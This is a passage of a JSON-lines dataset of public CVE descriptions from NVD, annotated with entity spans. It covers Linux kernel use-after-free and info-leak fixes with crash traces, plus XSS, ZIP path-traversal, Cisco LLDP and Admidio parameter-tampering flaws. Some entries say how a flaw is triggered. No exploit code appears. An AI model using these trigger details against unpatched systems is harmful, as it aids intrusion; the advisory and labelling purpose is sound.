(net/bluetooth/l2cap_core.c:6906) bluetooth\n l2cap_rx_state_recv (net/bluetooth/l2cap_core.c:6906) bluetooth\n l2cap_rx (net/bluetooth/l2cap_core.c:7236 net/bluetooth/l2cap_core.c:7271) bluetooth\n ret_from_fork (arch/x86/entry/entry_64.S:306)\n </TASK>\n\nAllocated by task 43169:\n kasan_save_stack (mm/kasan/common.c:39)\n __kasan_slab_alloc (mm/kasan/common.c:45 mm/kasan/common.c:436 mm/kasan/common.c:469)\n kmem_cache_alloc_node (mm/slab.h:750 mm/slub.c:3243 mm/slub.c:3293)\n __alloc_skb (net/core/skbuff.c:414)\n l2cap_recv_frag (./include/net/bluetooth/bluetooth.h:425 net/bluetooth/l2cap_core.c:8329) bluetooth\n l2cap_recv_acldata (net/bluetooth/l2cap_core.c:8442) bluetooth\n hci_rx_work (net/bluetooth/hci_core.c:3642 net/bluetooth/hci_core.c:3832) bluetooth\n process_one_work (kernel/workqueue.c:2289)\n worker_thread (./include/linux/list.h:292 kernel/workqueue.c:2437)\n kthread (kernel/kthread.c:376)\n ret_from_fork (arch/x86/entry/entry_64.S:306)\n\nFreed by task 27920:\n kasan_save_stack (mm/kasan/common.c:39)\n kasan_set_track (mm/kasan/common.c:45)\n kasan_set_free_info (mm/kasan/generic.c:372)\n ____kasan_slab_free (mm/kasan/common.c:368 mm/kasan/common.c:328)\n slab_free_freelist_hook (mm/slub.c:1780)\n kmem_cache_free (mm/slub.c:3536 mm/slub.c:3553)\n skb_free_datagram (./include/net/sock.h:1578 ./include/net/sock.h:1639 net/core/datagram.c:323)\n bt_sock_recvmsg (net/bluetooth/af_bluetooth.c:295) bluetooth\n l2cap_sock_recvmsg (net/bluetooth/l2cap_sock.c:1212) bluetooth\n sock_read_iter (net/socket.c:1087)\n new_sync_read (./include/linux/fs.h:2052 fs/read_write.c:401)\n vfs_read (fs/read_write.c:482)\n ksys_read (fs/read_write.c:620)\n do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:120)", "spans": {"FILEPATH: /bluetooth/l2cap_core.c": [[904, 927], [1222, 1245], [1349, 1372], [1414, 1437], [1468, 1491], [1500, 1523], [1917, 1940], [1981, 2004]], "FILEPATH: /kasan/report.c": [[1152, 1167], [1174, 1189], [1279, 1294], [1301, 1316]], "FILEPATH: /x86/entry/entry_64.S": [[1560, 1581], [2270, 2291], [3099, 3120]], "FILEPATH: /kasan/common.c": [[1643, 1658], [1686, 1701], [1707, 1722], [1729, 1744], [2340, 2355], [2380, 2395], [2470, 2485], [2492, 2507]], "FILEPATH: /core/skbuff.c": [[1836, 1850]], "FILEPATH: /include/net/bluetooth/bluetooth.h": [[1875, 1909]], "FILEPATH: /bluetooth/hci_core.c": [[2038, 2059], [2068, 2089]], "FILEPATH: /include/linux/list.h": [[2167, 2188]], "FILEPATH: /kasan/generic.c": [[2424, 2440]], "FILEPATH: /include/net/sock.h": [[2625, 2644], [2651, 2670]], "FILEPATH: /core/datagram.c": [[2679, 2695]], "FILEPATH: /bluetooth/af_bluetooth.c": [[2722, 2747]], "FILEPATH: /bluetooth/l2cap_sock.c": [[2787, 2810]], "FILEPATH: /include/linux/fs.h": [[2880, 2899]], "FILEPATH: /x86/entry/common.c": [[3011, 3030], [3038, 3057]], "FILEPATH: dump_stack.c": [[1094, 1106]], "FILEPATH: slab.h": [[1777, 1783]], "FILEPATH: slub.c": [[1791, 1797], [1806, 1812], [2542, 2548], [2576, 2582], [2591, 2597]], "FILEPATH: workqueue.c": [[2132, 2143], [2200, 2211]], "FILEPATH: kthread.c": [[2235, 2244]], "FILEPATH: socket.c": [[2848, 2856]], "FILEPATH: read_write.c": [[2908, 2920], [2940, 2952], [2973, 2985]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[91, 105], [710, 724], [862, 876]], "VULNERABILITY: race condition": [[146, 160]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49910"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix information leak in btrfs_ioctl_logical_to_ino()\n\nSyzbot reported the following information leak for in\nbtrfs_ioctl_logical_to_ino():\n\n  BUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:114 [inline]\n  BUG: KMSAN: kernel-infoleak in _copy_to_user+0xbc/0x110 lib/usercopy.c:40\n   instrument_copy_to_user include/linux/instrumented.h:114 [inline]\n   _copy_to_user+0xbc/0x110 lib/usercopy.c:40\n   copy_to_user include/linux/uaccess.h:191 [inline]\n   btrfs_ioctl_logical_to_ino+0x440/0x750 fs/btrfs/ioctl.c:3499\n   btrfs_ioctl+0x714/0x1260\n   vfs_ioctl fs/ioctl.c:51 [inline]\n   __do_sys_ioctl fs/ioctl.c:904 [inline]\n   __se_sys_ioctl+0x261/0x450 fs/ioctl.c:890\n   __x64_sys_ioctl+0x96/0xe0 fs/ioctl.c:890\n   x64_sys_call+0x1883/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:17\n   do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n   do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n  Uninit was created at:\n   __kmalloc_large_node+0x231/0x370 mm/slub.c:3921\n   __do_kmalloc_node mm/slub.c:3954 [inline]\n   __kmalloc_node+0xb07/0x1060 mm/slub.c:3973\n   kmalloc_node include/linux/slab.h:648 [inline]\n   kvmalloc_node+0xc0/0x2d0 mm/util.c:634\n   kvmalloc include/linux/slab.h:766 [inline]\n   init_data_container+0x49/0x1e0 fs/btrfs/backref.c:2779\n   btrfs_ioctl_logical_to_ino+0x17c/0x750 fs/btrfs/ioctl.c:3480\n   btrfs_ioctl+0x714/0x1260\n   vfs_ioctl fs/ioctl.c:51 [inline]\n   __do_sys_ioctl fs/ioctl.c:904 [inline]\n   __se_sys_ioctl+0x261/0x450 fs/ioctl.c:890\n   __x64_sys_ioctl+0x96/0xe0 fs/ioctl.c:890\n   x64_sys_call+0x1883/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:17\n   do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n   do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n  Bytes 40-65535 of 65536 are uninitialized\n  Memory access of size 65536 starts at ffff888045a40000\n\nThis happens, because we're copying a 'struct btrfs_data_container' back\nto user-space. This btrfs_data_container is allocated in\n'init_data_container()' via kvmalloc(), which does not zero-fill the\nmemory.\n\nFix this by using kvzalloc() which zeroes out the memory on allocation.", "spans": {"FILEPATH: /linux/instrumented.h": [[279, 300], [424, 445]], "FILEPATH: /linux/uaccess.h": [[528, 544]], "FILEPATH: /btrfs/ioctl.c": [[602, 616], [1456, 1470]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[851, 891], [1705, 1745]], "FILEPATH: /x86/entry/common.c": [[917, 936], [981, 1000], [1771, 1790], [1835, 1854]], "FILEPATH: /linux/slab.h": [[1239, 1252], [1327, 1340]], "FILEPATH: /btrfs/backref.c": [[1390, 1406]], "FILEPATH: usercopy.c": [[376, 386], [491, 501]], "FILEPATH: ioctl.c": [[666, 673], [707, 714], [761, 768], [805, 812], [1520, 1527], [1561, 1568], [1615, 1622], [1659, 1666]], "FILEPATH: slub.c": [[1113, 1119], [1149, 1155], [1204, 1210]], "FILEPATH: util.c": [[1297, 1303]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: information leak": [[80, 96], [160, 176]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35849"}}
{"text": "Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. In affected versions the Merge functionality takes untrusted user input (file name) and uses it directly in the creation of HTML pages allowing any unauthenticated to execute JavaScript code in the context of the user. The issue stems to the code starting at `Line 24` in `src/main/resources/static/js/merge.js`. The file name is directly being input into InnerHTML with no sanitization on the file name, allowing a malicious user to be able to upload files with names containing HTML tags. As HTML tags can include JavaScript code, this can be used to execute JavaScript code in the context of the user. This is a self-injection style attack and relies on a user uploading the malicious file themselves and it impact only them, not other users. A user might be social engineered into running this to launch a phishing attack. Nevertheless, this breaks the expected security restrictions in place by the application. This issue has been addressed in version 0.32.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: /main/resources/static/js/merge.js": [[385, 419]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-52286"}}
{"text": "Cross-site scripting (XSS) vulnerability allows remote attackers to inject arbitrary web script or HTML via the widgetId parameter to service-monitoring/src/index.php. This vulnerability is fixed in versions 1.6.4, 18.10.3, 19.04.3, and 19.0.1 of the Centreon host-monitoring widget; 1.6.4, 18.10.5, 19.04.3, 19.10.2 of the Centreon service-monitoring widget; and 1.0.3, 18.10.1, 19.04.1, 19.10.1 of the Centreon tactical-overview widget.", "spans": {"FILEPATH: /src/index.php.": [[152, 167]], "VULNERABILITY: Cross-site scripting": [[0, 20]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-13627"}}
{"text": "OpenOLAT is a web-based learning management system (LMS). A path traversal vulnerability exists in versions prior to 15.3.18, 15.5.3, and 16.0.0. Using a specially prepared ZIP file, it is possible to overwrite any file that is writable by the application server user (e.g. the tomcat user). Depending on the configuration this can be limited to files of the OpenOlat user data directory, however, if not properly set up, the attack could also be used to overwrite application server config files, java code or even operating system files. The attack could be used to corrupt or modify any OpenOlat file such as course structures, config files or temporary test data. Those attack would require in-depth knowledge of the installation and thus more theoretical. If the app server configuration allows the execution of jsp files and the path to the context is known, it is also possible to execute java code. If the app server runs with the same user that is used to deploy the OpenOlat code or has write permissions on the OpenOlat code files and the path to the context is know, code injection is possible. The attack requires an OpenOlat user account to upload a ZIP file and trigger the unzip method. It can not be exploited by unregistered users. The problem is fixed in versions 15.3.18, 15.5.3 and 16.0.0. There are no known workarounds aside from upgrading.", "spans": {"VULNERABILITY: path traversal": [[60, 74]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39180"}}
{"text": "A vulnerability in the Link Layer Discovery Protocol (LLDP) message parser of Cisco IOS Software and Cisco IOS XE Software could allow an attacker to trigger a reload of an affected device, resulting in a denial of service (DoS) condition. This vulnerability is due to improper initialization of a buffer. An attacker could exploit this vulnerability via any of the following methods: An authenticated, remote attacker could access the LLDP neighbor table via either the CLI or SNMP while the device is in a specific state. An unauthenticated, adjacent attacker could corrupt the LLDP neighbor table by injecting specific LLDP frames into the network and then waiting for an administrator of the device or a network management system (NMS) managing the device to retrieve the LLDP neighbor table of the device via either the CLI or SNMP. An authenticated, adjacent attacker with SNMP read-only credentials or low privileges on the device CLI could corrupt the LLDP neighbor table by injecting specific LLDP frames into the network and then accessing the LLDP neighbor table via either the CLI or SNMP. A successful exploit could allow the attacker to cause the affected device to crash, resulting in a reload of the device.", "spans": {"SYSTEM: Cisco IOS XE": [[101, 113]], "SYSTEM: Cisco IOS": [[78, 87]], "VULNERABILITY: denial of service": [[205, 222]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-34703"}}
{"text": "Admidio is an open-source user management solution. Prior to 5.0.6, in modules/events/events_function.php, the event participation logic allows any user who can participate in an event to register OTHER users by manipulating the user_uuid GET parameter. The condition uses || (OR), meaning if possibleToParticipate() returns true (event is open for participation), ANY user - not just leaders - can specify a different user_uuid and register/cancel participation for that user. The code then operates on $user->getValue('usr_id') (the target user from user_uuid) rather than the current user. This vulnerability is fixed in 5.0.6.", "spans": {"FILEPATH: /events/events_function.php": [[78, 105]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30927"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nubifs: authentication: Fix use-after-free in ubifs_tnc_end_commit\n\nAfter an insertion in TNC, the tree might split and cause a node to\nchange its `znode->parent`. A further deletion of other nodes in the\ntree (which also could free the nodes), the aforementioned node's\n`znode->cparent` could still point to a freed node. This\n`znode->cparent` may not be updated when getting nodes to commit in\n`ubifs_tnc_start_commit()`. This could then trigger a use-after-free\nwhen accessing the `znode->cparent` in `write_index()` in\n`ubifs_tnc_end_commit()`.\n\nThis can be triggered by running\n\n  rm -f /etc/test-file.bin\n  dd if=/dev/urandom of=/etc/test-file.bin bs=1M count=60 conv=fsync\n\nin a loop, and with `CONFIG_UBIFS_FS_AUTHENTICATION`. KASAN then\nreports:\n\n  BUG: KASAN: use-after-free in ubifs_tnc_end_commit+0xa5c/0x1950\n  Write of size 32 at addr ffffff800a3af86c by task ubifs_bgt0_20/153\n\n  Call trace:\n   dump_backtrace+0x0/0x340\n   show_stack+0x18/0x24\n   dump_stack_lvl+0x9c/0xbc\n   print_address_description.constprop.0+0x74/0x2b0\n   kasan_report+0x1d8/0x1f0\n   kasan_check_range+0xf8/0x1a0\n   memcpy+0x84/0xf4\n   ubifs_tnc_end_commit+0xa5c/0x1950\n   do_commit+0x4e0/0x1340\n   ubifs_bg_thread+0x234/0x2e0\n   kthread+0x36c/0x410\n   ret_from_fork+0x10/0x20\n\n  Allocated by task 401:\n   kasan_save_stack+0x38/0x70\n   __kasan_kmalloc+0x8c/0xd0\n   __kmalloc+0x34c/0x5bc\n   tnc_insert+0x140/0x16a4\n   ubifs_tnc_add+0x370/0x52c\n   ubifs_jnl_write_data+0x5d8/0x870\n   do_writepage+0x36c/0x510\n   ubifs_writepage+0x190/0x4dc\n   __writepage+0x58/0x154\n   write_cache_pages+0x394/0x830\n   do_writepages+0x1f0/0x5b0\n   filemap_fdatawrite_wbc+0x170/0x25c\n   file_write_and_wait_range+0x140/0x190\n   ubifs_fsync+0xe8/0x290\n   vfs_fsync_range+0xc0/0x1e4\n   do_fsync+0x40/0x90\n   __arm64_sys_fsync+0x34/0x50\n   invoke_syscall.constprop.0+0xa8/0x260\n   do_el0_svc+0xc8/0x1f0\n   el0_svc+0x34/0x70\n   el0t_64_sync_handler+0x108/0x114\n   el0t_64_sync+0x1a4/0x1a8\n\n  Freed by task 403:\n   kasan_save_stack+0x38/0x70\n   kasan_set_track+0x28/0x40\n   kasan_set_free_info+0x28/0x4c\n   __kasan_slab_free+0xd4/0x13c\n   kfree+0xc4/0x3a0\n   tnc_delete+0x3f4/0xe40\n   ubifs_tnc_remove_range+0x368/0x73c\n   ubifs_tnc_remove_ino+0x29c/0x2e0\n   ubifs_jnl_delete_inode+0x150/0x260\n   ubifs_evict_inode+0x1d4/0x2e4\n   evict+0x1c8/0x450\n   iput+0x2a0/0x3c4\n   do_unlinkat+0x2cc/0x490\n   __arm64_sys_unlinkat+0x90/0x100\n   invoke_syscall.constprop.0+0xa8/0x260\n   do_el0_svc+0xc8/0x1f0\n   el0_svc+0x34/0x70\n   el0t_64_sync_handler+0x108/0x114\n   el0t_64_sync+0x1a4/0x1a8\n\nThe offending `memcpy()` in `ubifs_copy_hash()` has a use-after-free\nwhen a node becomes root in TNC but still has a `cparent` to an already\nfreed node. More specifically, consider the following TNC:\n\n         zroot\n         /\n        /\n      zp1\n      /\n     /\n    zn\n\nInserting a new node `zn_new` with a key smaller then `zn` will trigger\na split in `tnc_insert()` if `zp1` is full:\n\n         zroot\n         /   \\\n        /     \\\n      zp1     zp2\n      /         \\\n     /           \\\n  zn_new          zn\n\n`zn->parent` has now been moved to `zp2`, *but* `zn->cparent` still\npoints to `zp1`.\n\nNow, consider a removal of all the nodes _except_ `zn`. Just when\n`tnc_delete()` is about to delete `zroot` and `zp2`:\n\n         zroot\n             \\\n              \\\n              zp2\n                \\\n                 \\\n                 zn\n\n`zroot` and `zp2` get freed and the tree collapses:\n\n           zn\n\n`zn` now becomes the new `zroot`.\n\n`get_znodes_to_commit()` will now only find `zn`, the new `zroot`, and\n`write_index()` will check its `znode->cparent` that wrongly points to\nthe already freed `zp1`. `ubifs_copy_hash()` thus gets wrongly called\nwith `znode->cparent->zbranch[znode->iip].hash` that triggers the\nuse-after-free!\n\nFix this by explicitly setting `znode->cparent` to `NULL` in\n`get_znodes_to_commit()` for the root node. The search for the dirty\nnodes\n---truncated---", "spans": {"FILEPATH: /etc/test-file.bin": [[660, 678], [703, 721]], "FILEPATH: /dev/urandom": [[687, 699]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[96, 110], [518, 532], [838, 852], [2665, 2679], [3830, 3844]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53171"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: unlock inodes when erroring out of xfs_trans_alloc_dir\n\nDebugging a filesystem patch with generic/475 caused the system to hang\nafter observing the following sequences in dmesg:\n\n XFS (dm-0): metadata I/O error in \"xfs_imap_to_bp+0x61/0xe0 [xfs]\" at daddr 0x491520 len 32 error 5\n XFS (dm-0): metadata I/O error in \"xfs_btree_read_buf_block+0xba/0x160 [xfs]\" at daddr 0x3445608 len 8 error 5\n XFS (dm-0): metadata I/O error in \"xfs_imap_to_bp+0x61/0xe0 [xfs]\" at daddr 0x138e1c0 len 32 error 5\n XFS (dm-0): log I/O error -5\n XFS (dm-0): Metadata I/O Error (0x1) detected at xfs_trans_read_buf_map+0x1ea/0x4b0 [xfs] (fs/xfs/xfs_trans_buf.c:311).  Shutting down filesystem.\n XFS (dm-0): Please unmount the filesystem and rectify the problem(s)\n XFS (dm-0): Internal error dqp->q_ino.reserved < dqp->q_ino.count at line 869 of file fs/xfs/xfs_trans_dquot.c.  Caller xfs_trans_dqresv+0x236/0x440 [xfs]\n XFS (dm-0): Corruption detected. Unmount and run xfs_repair\n XFS (dm-0): Unmounting Filesystem be6bcbcc-9921-4deb-8d16-7cc94e335fa7\n\nThe system is stuck in unmount trying to lock a couple of inodes so that\nthey can be purged.  The dquot corruption notice above is a clue to what\nhappened -- a link() call tried to set up a transaction to link a child\ninto a directory.  Quota reservation for the transaction failed after IO\nerrors shut down the filesystem, but then we forgot to unlock the inodes\non our way out.  Fix that.", "spans": {"FILEPATH: /xfs/xfs_trans_buf.c": [[692, 712]], "FILEPATH: /xfs/xfs_trans_dquot.c.": [[905, 928]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-55641"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: cancel nfsd_shrinker_work using sync mode in nfs4_state_shutdown_net\n\nIn the normal case, when we excute `echo 0 > /proc/fs/nfsd/threads`, the\nfunction `nfs4_state_destroy_net` in `nfs4_state_shutdown_net` will\nrelease all resources related to the hashed `nfs4_client`. If the\n`nfsd_client_shrinker` is running concurrently, the `expire_client`\nfunction will first unhash this client and then destroy it. This can\nlead to the following warning. Additionally, numerous use-after-free\nerrors may occur as well.\n\nnfsd_client_shrinker         echo 0 > /proc/fs/nfsd/threads\n\nexpire_client                nfsd_shutdown_net\n  unhash_client                ...\n                               nfs4_state_shutdown_net\n                                 /* won't wait shrinker exit */\n  /*                             cancel_work(&nn->nfsd_shrinker_work)\n   * nfsd_file for this          /* won't destroy unhashed client1 */\n   * client1 still alive         nfs4_state_destroy_net\n   */\n\n                               nfsd_file_cache_shutdown\n                                 /* trigger warning */\n                                 kmem_cache_destroy(nfsd_file_slab)\n                                 kmem_cache_destroy(nfsd_file_mark_slab)\n  /* release nfsd_file and mark */\n  __destroy_client\n\n====================================================================\nBUG nfsd_file (Not tainted): Objects remaining in nfsd_file on\n__kmem_cache_shutdown()\n--------------------------------------------------------------------\nCPU: 4 UID: 0 PID: 764 Comm: sh Not tainted 6.12.0-rc3+ #1\n\n dump_stack_lvl+0x53/0x70\n slab_err+0xb0/0xf0\n __kmem_cache_shutdown+0x15c/0x310\n kmem_cache_destroy+0x66/0x160\n nfsd_file_cache_shutdown+0xac/0x210 [nfsd]\n nfsd_destroy_serv+0x251/0x2a0 [nfsd]\n nfsd_svc+0x125/0x1e0 [nfsd]\n write_threads+0x16a/0x2a0 [nfsd]\n nfsctl_transaction_write+0x74/0xa0 [nfsd]\n vfs_write+0x1a5/0x6d0\n ksys_write+0xc1/0x160\n do_syscall_64+0x5f/0x170\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\n====================================================================\nBUG nfsd_file_mark (Tainted: G    B   W         ): Objects remaining\nnfsd_file_mark on __kmem_cache_shutdown()\n--------------------------------------------------------------------\n\n dump_stack_lvl+0x53/0x70\n slab_err+0xb0/0xf0\n __kmem_cache_shutdown+0x15c/0x310\n kmem_cache_destroy+0x66/0x160\n nfsd_file_cache_shutdown+0xc8/0x210 [nfsd]\n nfsd_destroy_serv+0x251/0x2a0 [nfsd]\n nfsd_svc+0x125/0x1e0 [nfsd]\n write_threads+0x16a/0x2a0 [nfsd]\n nfsctl_transaction_write+0x74/0xa0 [nfsd]\n vfs_write+0x1a5/0x6d0\n ksys_write+0xc1/0x160\n do_syscall_64+0x5f/0x170\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nTo resolve this issue, cancel `nfsd_shrinker_work` using synchronous\nmode in nfs4_state_shutdown_net.", "spans": {"FILEPATH: /proc/fs/nfsd/threads": [[190, 211], [623, 644]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[543, 557]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50121"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: dts: imx8ulp: correct the flexspi compatible string\n\nThe flexspi on imx8ulp only has 16 LUTs, and imx8mm flexspi has\n32 LUTs, so correct the compatible string here, otherwise will\nmeet below error:\n\n[    1.119072] ------------[ cut here ]------------\n[    1.123926] WARNING: CPU: 0 PID: 1 at drivers/spi/spi-nxp-fspi.c:855 nxp_fspi_exec_op+0xb04/0xb64\n[    1.133239] Modules linked in:\n[    1.136448] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.11.0-rc6-next-20240902-00001-g131bf9439dd9 #69\n[    1.146821] Hardware name: NXP i.MX8ULP EVK (DT)\n[    1.151647] pstate: 40000005 (nZcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[    1.158931] pc : nxp_fspi_exec_op+0xb04/0xb64\n[    1.163496] lr : nxp_fspi_exec_op+0xa34/0xb64\n[    1.168060] sp : ffff80008002b2a0\n[    1.171526] x29: ffff80008002b2d0 x28: 0000000000000000 x27: 0000000000000000\n[    1.179002] x26: ffff2eb645542580 x25: ffff800080610014 x24: ffff800080610000\n[    1.186480] x23: ffff2eb645548080 x22: 0000000000000006 x21: ffff2eb6455425e0\n[    1.193956] x20: 0000000000000000 x19: ffff80008002b5e0 x18: ffffffffffffffff\n[    1.201432] x17: ffff2eb644467508 x16: 0000000000000138 x15: 0000000000000002\n[    1.208907] x14: 0000000000000000 x13: ffff2eb6400d8080 x12: 00000000ffffff00\n[    1.216378] x11: 0000000000000000 x10: ffff2eb6400d8080 x9 : ffff2eb697adca80\n[    1.223850] x8 : ffff2eb697ad3cc0 x7 : 0000000100000000 x6 : 0000000000000001\n[    1.231324] x5 : 0000000000000000 x4 : 0000000000000000 x3 : 00000000000007a6\n[    1.238795] x2 : 0000000000000000 x1 : 00000000000001ce x0 : 00000000ffffff92\n[    1.246267] Call trace:\n[    1.248824]  nxp_fspi_exec_op+0xb04/0xb64\n[    1.253031]  spi_mem_exec_op+0x3a0/0x430\n[    1.257139]  spi_nor_read_id+0x80/0xcc\n[    1.261065]  spi_nor_scan+0x1ec/0xf10\n[    1.264901]  spi_nor_probe+0x108/0x2fc\n[    1.268828]  spi_mem_probe+0x6c/0xbc\n[    1.272574]  spi_probe+0x84/0xe4\n[    1.275958]  really_probe+0xbc/0x29c\n[    1.279713]  __driver_probe_device+0x78/0x12c\n[    1.284277]  driver_probe_device+0xd8/0x15c\n[    1.288660]  __device_attach_driver+0xb8/0x134\n[    1.293316]  bus_for_each_drv+0x88/0xe8\n[    1.297337]  __device_attach+0xa0/0x190\n[    1.301353]  device_initial_probe+0x14/0x20\n[    1.305734]  bus_probe_device+0xac/0xb0\n[    1.309752]  device_add+0x5d0/0x790\n[    1.313408]  __spi_add_device+0x134/0x204\n[    1.317606]  of_register_spi_device+0x3b4/0x590\n[    1.322348]  spi_register_controller+0x47c/0x754\n[    1.327181]  devm_spi_register_controller+0x4c/0xa4\n[    1.332289]  nxp_fspi_probe+0x1cc/0x2b0\n[    1.336307]  platform_probe+0x68/0xc4\n[    1.340145]  really_probe+0xbc/0x29c\n[    1.343893]  __driver_probe_device+0x78/0x12c\n[    1.348457]  driver_probe_device+0xd8/0x15c\n[    1.352838]  __driver_attach+0x90/0x19c\n[    1.356857]  bus_for_each_dev+0x7c/0xdc\n[    1.360877]  driver_attach+0x24/0x30\n[    1.364624]  bus_add_driver+0xe4/0x208\n[    1.368552]  driver_register+0x5c/0x124\n[    1.372573]  __platform_driver_register+0x28/0x34\n[    1.377497]  nxp_fspi_driver_init+0x1c/0x28\n[    1.381888]  do_one_initcall+0x80/0x1c8\n[    1.385908]  kernel_init_freeable+0x1c4/0x28c\n[    1.390472]  kernel_init+0x20/0x1d8\n[    1.394138]  ret_from_fork+0x10/0x20\n[    1.397885] ---[ end trace 0000000000000000 ]---\n[    1.407908] ------------[ cut here ]------------", "spans": {"FILEPATH: /spi/spi-nxp-fspi.c": [[375, 394]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53046"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: fix unexpected zeroed page mapping with zram swap\n\nTwo processes under CLONE_VM cloning, user process can be corrupted by\nseeing zeroed page unexpectedly.\n\n      CPU A                        CPU B\n\n  do_swap_page                do_swap_page\n  SWP_SYNCHRONOUS_IO path     SWP_SYNCHRONOUS_IO path\n  swap_readpage valid data\n    swap_slot_free_notify\n      delete zram entry\n                              swap_readpage zeroed(invalid) data\n                              pte_lock\n                              map the *zero data* to userspace\n                              pte_unlock\n  pte_lock\n  if (!pte_same)\n    goto out_nomap;\n  pte_unlock\n  return and next refault will\n  read zeroed data\n\nThe swap_slot_free_notify is bogus for CLONE_VM case since it doesn't\nincrease the refcount of swap slot at copy_mm so it couldn't catch up\nwhether it's safe or not to discard data from backing device.  In the\ncase, only the lock it could rely on to synchronize swap slot freeing is\npage table lock.  Thus, this patch gets rid of the swap_slot_free_notify\nfunction.  With this patch, CPU A will see correct data.\n\n      CPU A                        CPU B\n\n  do_swap_page                do_swap_page\n  SWP_SYNCHRONOUS_IO path     SWP_SYNCHRONOUS_IO path\n                              swap_readpage original data\n                              pte_lock\n                              map the original data\n                              swap_free\n                                swap_range_free\n                                  bd_disk->fops->swap_slot_free_notify\n  swap_readpage read zeroed data\n                              pte_unlock\n  pte_lock\n  if (!pte_same)\n    goto out_nomap;\n  pte_unlock\n  return\n  on next refault will see mapped data by CPU B\n\nThe concern of the patch would increase memory consumption since it\ncould keep wasted memory with compressed form in zram as well as\nuncompressed form in address space.  However, most of cases of zram uses\nno readahead and do_swap_page is followed by swap_free so it will free\nthe compressed form from in zram quickly.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49052"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: page_alloc: move mlocked flag clearance into free_pages_prepare()\n\nSyzbot reported a bad page state problem caused by a page being freed\nusing free_page() still having a mlocked flag at free_pages_prepare()\nstage:\n\n  BUG: Bad page state in process syz.5.504  pfn:61f45\n  page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x61f45\n  flags: 0xfff00000080204(referenced|workingset|mlocked|node=0|zone=1|lastcpupid=0x7ff)\n  raw: 00fff00000080204 0000000000000000 dead000000000122 0000000000000000\n  raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000\n  page dumped because: PAGE_FLAGS_CHECK_AT_FREE flag(s) set\n  page_owner tracks the page as allocated\n  page last allocated via order 0, migratetype Unmovable, gfp_mask 0x400dc0(GFP_KERNEL_ACCOUNT|__GFP_ZERO), pid 8443, tgid 8442 (syz.5.504), ts 201884660643, free_ts 201499827394\n   set_page_owner include/linux/page_owner.h:32 [inline]\n   post_alloc_hook+0x1f3/0x230 mm/page_alloc.c:1537\n   prep_new_page mm/page_alloc.c:1545 [inline]\n   get_page_from_freelist+0x303f/0x3190 mm/page_alloc.c:3457\n   __alloc_pages_noprof+0x292/0x710 mm/page_alloc.c:4733\n   alloc_pages_mpol_noprof+0x3e8/0x680 mm/mempolicy.c:2265\n   kvm_coalesced_mmio_init+0x1f/0xf0 virt/kvm/coalesced_mmio.c:99\n   kvm_create_vm virt/kvm/kvm_main.c:1235 [inline]\n   kvm_dev_ioctl_create_vm virt/kvm/kvm_main.c:5488 [inline]\n   kvm_dev_ioctl+0x12dc/0x2240 virt/kvm/kvm_main.c:5530\n   __do_compat_sys_ioctl fs/ioctl.c:1007 [inline]\n   __se_compat_sys_ioctl+0x510/0xc90 fs/ioctl.c:950\n   do_syscall_32_irqs_on arch/x86/entry/common.c:165 [inline]\n   __do_fast_syscall_32+0xb4/0x110 arch/x86/entry/common.c:386\n   do_fast_syscall_32+0x34/0x80 arch/x86/entry/common.c:411\n   entry_SYSENTER_compat_after_hwframe+0x84/0x8e\n  page last free pid 8399 tgid 8399 stack trace:\n   reset_page_owner include/linux/page_owner.h:25 [inline]\n   free_pages_prepare mm/page_alloc.c:1108 [inline]\n   free_unref_folios+0xf12/0x18d0 mm/page_alloc.c:2686\n   folios_put_refs+0x76c/0x860 mm/swap.c:1007\n   free_pages_and_swap_cache+0x5c8/0x690 mm/swap_state.c:335\n   __tlb_batch_free_encoded_pages mm/mmu_gather.c:136 [inline]\n   tlb_batch_pages_flush 